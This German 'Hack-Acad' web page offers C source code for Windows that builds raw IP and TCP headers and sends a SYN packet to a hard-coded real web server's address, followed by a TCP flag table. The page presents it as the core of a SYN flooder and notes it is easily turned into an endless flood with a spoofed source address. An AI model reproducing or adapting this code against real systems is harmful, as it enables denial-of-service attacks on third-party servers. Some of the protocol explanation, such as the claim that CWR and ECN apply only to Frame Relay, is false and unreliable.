![]() |
![]() |
News... | Hack-Acad | Downloads | Web-Projekte | Kontakt |
HACKACAD - SYN FLooding (Code) SYN Flooding ist eine beliebte Wurm/Virus Methode um zum Beispiel einen Webserver lahm zu legen (daher stammen Code-Fragmenete auch aus einem solchen). Dieser Code ist als Konsolen Beispiel ausgelegt, um die Herstellung eigener TCP/IP Headern zu erläutern. Änderungen des Quellcodes in einen Endlos-Schleifen SYN Flooder mit gespoofter Absender IP Adresse sind ohne weiteres möglich, doch geschehen auf eigenes Risiko. Abschliessend nach dem Sourcecode folgt eine TCP Flag Übersicht. | ||
#include <winsock2.h> // definiert z.B. Protokolle (IPPROTO_RAW) oder Ports/Sockets (IPPORT_FTP) #include <stdio.h> // Standard I/O Funktionen wie printf() #include <string.h> // String und Memory Funktionen wie strcmp() und memset() #include <ws2tcpip.h> // beinhaltet spezifische Information für Winsock2 wzB. IP_HDRINCL #pragma comment(lib, "Ws2_32.lib") #pragma comment(lib, "wininet.lib") #define NUM_ELEMENTS(x) (sizeof((x)) / sizeof((x)[0])) struct IPHDR { unsigned char verlen; // IP version & length /* verlen hat 8 Bits, die ersten 4 für die Version und die letzten 4 für die Länge. Beispiel: HEX 0x65 ist Binär 0x01100101 Aufgeteilt also 0110 = DEZ 6 und 0101 = DEZ 5 Daraus resultiert Version 6 und Länge 20 */ unsigned char tos; // IP type of service /* 1 Byte: 1000 -- minimize delay 0100 -- maximize throughput 0010 -- maximize reliability 0001 -- minimize monetary cost 0000 -- normal service */ unsigned short totallength; // Total length /* 2 Bytes = 16 bits Länge des IP-Paketes einschließlich der nachfolgenden Daten */ unsigned short id; // Unique identifier /* 16 bit breit. Dieses und die beiden folgenden Felder 'Flags' und 'Fragment Offset' steuern die Reassembly (=Zusammensetzen von zuvor fragmentierten IP Datenpakete). Eindeutige Kennung eines Datagramms. Anhand dieses Feldes und der 'Source Address' kann der Empfänger die Zusammengehörigkeit von Fragmenten detektieren und sie wieder reassemblieren. */ unsigned short offset; // Fragment offset field unsigned char ttl; // Time to live unsigned char protocol; // Protocol(TCP, UDP, etc.) unsigned short checksum; // IP checksum // 16 bit breit. Eine Prüfsumme ausschließlich für den Header unsigned int srcaddr; // Source address unsigned int dstaddr; // Destination address }; // Ende struct IPHDR struct TCPHDR { unsigned short srcport; // Port über den wir senden unsigned short dstport; // Port den wir ansprechen wollen unsigned int seqno; unsigned int ackno; unsigned char offset; unsigned char flags; // Art des Pakets: // FIN / SYN / RST // PSH / ACK / URG // ENC / CWR unsigned short window; unsigned short checksum; unsigned short urgptr; }; struct FORCSUM { unsigned int srcaddr; unsigned int dstaddr; unsigned char padzero; unsigned char protocol; unsigned short tcplength; }; // Funktions Prototypen int RawSocket(char destIP[], int destPort, int fd, char srcIP[], int srcPort, int tcpFlag); int csum(const void *bufv, int length); void IP_auslesen(char* IP_ADRESSE); int SockAttempt(int * fd); int main(int argc, char *argv[]) { //Deklaration der benötigte Variablen char srcIP[MAX_PATH], destIP[MAX_PATH]; int destPort, srcPort, tcpFlag, fd; //Initialisierung der Variablen IP_auslesen(srcIP); strcpy(destIP,"193.99.144.71"); // ping auf www.heise.de destPort = 80; srcPort = 1723; // PPTP Port tcpFlag = 2; // SYN Flag fd = 0; system("CLS"); printf("Settings:\r\n"); printf("---------\r\n"); printf("Source IP : %s\r\n",srcIP); printf("Source Port : %i\r\n",srcPort); printf("Destination IP : %s\r\n",destIP); printf("Destination Port: %i\r\n",destPort); printf("\r\n"); printf("Now attempting to create socket...\r\n"); if(SockAttempt(&fd)==0) { printf("... successful !!!\r\n\r\n"); } printf("Creating own TCP/IP headers...\r\n"); RawSocket(destIP, destPort, fd, srcIP, srcPort, tcpFlag); closesocket(fd); WSACleanup(); system("PAUSE"); return 0; } int SockAttempt(int * fd) { WORD sockVersion; WSADATA wsaData; int iErr = 0, opt = 1; sockVersion = MAKEWORD(2, 2); if (WSAStartup(sockVersion, &wsaData)!=0) { printf("WSAStartup Error -> "); iErr = WSAGetLastError(); } else { *fd = WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if (*fd == SOCKET_ERROR) { printf("WSASocket Error -> "); iErr = WSAGetLastError(); } else { if (setsockopt(*fd, IPPROTO_IP, IP_HDRINCL,(char*)&opt, sizeof(opt)) == SOCKET_ERROR) { printf("setsockopt Error -> "); iErr = WSAGetLastError(); } } } return iErr; } int RawSocket(char destIP[], int destPort, int fd, char srcIP[], int srcPort, int tcpFlag) { struct sockaddr_in to; struct FORCSUM forcsum; struct TCPHDR tcp; struct IPHDR ip; char buf[60] = {0}; int iErr; to.sin_family = AF_INET; to.sin_port = htons((u_short)destPort); to.sin_addr.s_addr = inet_addr(destIP); // IP header erstellen ip.verlen = 0x45; ip.tos = 0x00; ip.totallength = 24; ip.id = 1; ip.offset = 0; ip.ttl = 0x80; ip.protocol = IPPROTO_TCP; ip.checksum = 0; ip.dstaddr = inet_addr(destIP); ip.srcaddr = inet_addr(srcIP); // TCP header erstellen tcp.dstport = htons((u_short)destPort); tcp.ackno = 0; tcp.offset = (unsigned char)(80); tcp.flags = tcpFlag; tcp.window = htons(0x4000); tcp.urgptr = 0; tcp.checksum = 0; forcsum.dstaddr = ip.dstaddr; forcsum.padzero = 0; forcsum.protocol = IPPROTO_TCP; forcsum.tcplength = htons(sizeof(tcp)); tcp.srcport = htons((u_short)srcPort); tcp.seqno = htonl((unsigned short)((rand()<<16)|rand())); forcsum.srcaddr = inet_addr(srcIP); memcpy(buf, &forcsum, sizeof(forcsum)); memcpy(buf+sizeof(forcsum), &tcp, sizeof(tcp)); tcp.checksum = csum(buf, sizeof(forcsum)+sizeof(tcp)); memcpy(buf, &ip, sizeof(ip)); memcpy(buf+sizeof(ip), &tcp, sizeof(tcp)); memset(buf+sizeof(ip)+sizeof(tcp), 0,sizeof(buf)-sizeof(ip)-sizeof(tcp)); ip.checksum = csum(buf, sizeof(ip)+sizeof(tcp)); memcpy(buf, &ip, sizeof(ip)); printf("done...\r\n"); printf("Attempting to send data...\r\n"); iErr = sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,(struct sockaddr*)&to, sizeof(to)); if(iErr == SOCKET_ERROR) { iErr = WSAGetLastError(); printf("sendto Error: %i\r\n\r\n",iErr); } else printf("Bytes Sent: %i\r\n\r\n",iErr); return 0; } int csum(const void *bufv, int length) { const unsigned short *buf = (const unsigned short *)bufv; unsigned long result = 0; while (length > 1) { result += *(buf++); length -= sizeof(*buf); } if (length) result += *(unsigned char*)buf; result = (result >> 16) + (result & 0xFFFF); result += (result >> 16); result = (~result)&0xFFFF; return (int)result; } void IP_auslesen(char* IP_ADRESSE) { struct hostent* h; WSADATA wsaData; UCHAR ucAddress[4]; CHAR szHostName[MAX_PATH]; int x; WSAStartup(MAKEWORD(1, 1), &wsaData); if(SOCKET_ERROR != gethostname(szHostName, NUM_ELEMENTS(szHostName))) { if(NULL != (h = gethostbyname(szHostName))) { for(x = 0; (h->h_addr_list[x]); x++) { ucAddress[0] = h->h_addr_list[x][0]; ucAddress[1] = h->h_addr_list[x][1]; ucAddress[2] = h->h_addr_list[x][2]; ucAddress[3] = h->h_addr_list[x][3]; wsprintf(IP_ADRESSE, "%d.%d.%d.%d", ucAddress[0], ucAddress[1], ucAddress[2], ucAddress[3]); } } } WSACleanup(); } |
TCP Flag Positionen: | ||||||||||
256 | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 | ||
* | CWR | ECN | URG | ACK | PSH | RST | SYN | FIN | ||
Das bedeutet, wir haben "tcp.flags" mit "tcpFlag" einen Integer Wert zugeordnet. In unserem Beispiel Dezimal 2. Wollten wir nun ein SYN, URG Paket schicken, so ist tcpFlag auf SYN + URG zu setzen. Also 2 + 32 => 34 ! Ableitend davon bedeutet der * demnach das sätliche Flags gesetzt sind. CWR und ECN machen dabei nur bei Frame Relay einen Sinn. |